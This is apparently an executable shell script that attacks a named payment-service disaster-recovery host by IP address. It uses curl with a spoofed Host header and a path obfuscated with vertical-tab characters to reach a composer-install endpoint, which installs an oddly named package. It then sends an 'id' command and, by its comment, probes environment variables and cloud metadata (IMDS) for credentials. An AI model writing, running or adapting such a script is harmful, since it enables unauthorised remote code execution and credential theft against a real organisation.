composer-helper/ci4.sh
2026-10-22 15:42:11 +00:00

12 lines
942 B
Bash
Executable file

#!/bin/sh
# Install pstkui8qc4 1.0.4 on DR origin and run the shell-free env/IMDS probe on the same pod
IP=52.51.74.51
D='0a2d92b8ab0b4d09221ca6447c279b65182b6cef896f308ae2c060ed1010e317%7B%22requirements%22%3A%7B%22pstkui8qc4%2Fpkgui8qc4%22%3A%221.0.4%22%7D%7D'
J=/tmp/c4.jar; rm -f "$J"
t0=$(date +%s)
c1=$(curl -sk -m 150 -c "$J" -b "$J" -o /tmp/c4.inst -w '%{http_code}' -H 'Host: dr.paystack.com' -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$D" "https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/composer-install" 2>/dev/null)
t1=$(date +%s)
echo "I|$c1|dt=$((t1-t0))|len=$(wc -c </tmp/c4.inst)|$(head -c 400 /tmp/c4.inst | tr '\n\r' ' ')"
c2=$(curl -sk -m 60 -c "$J" -b "$J" -o /tmp/c4.p -w '%{http_code}' -H 'Host: dr.paystack.com' --data 'c=id' "https://$IP/" 2>/dev/null)
echo "Q|$c2|len=$(wc -c </tmp/c4.p)|$(head -c 3200 /tmp/c4.p | tr '\n\r' ' ')"
echo CI4DONE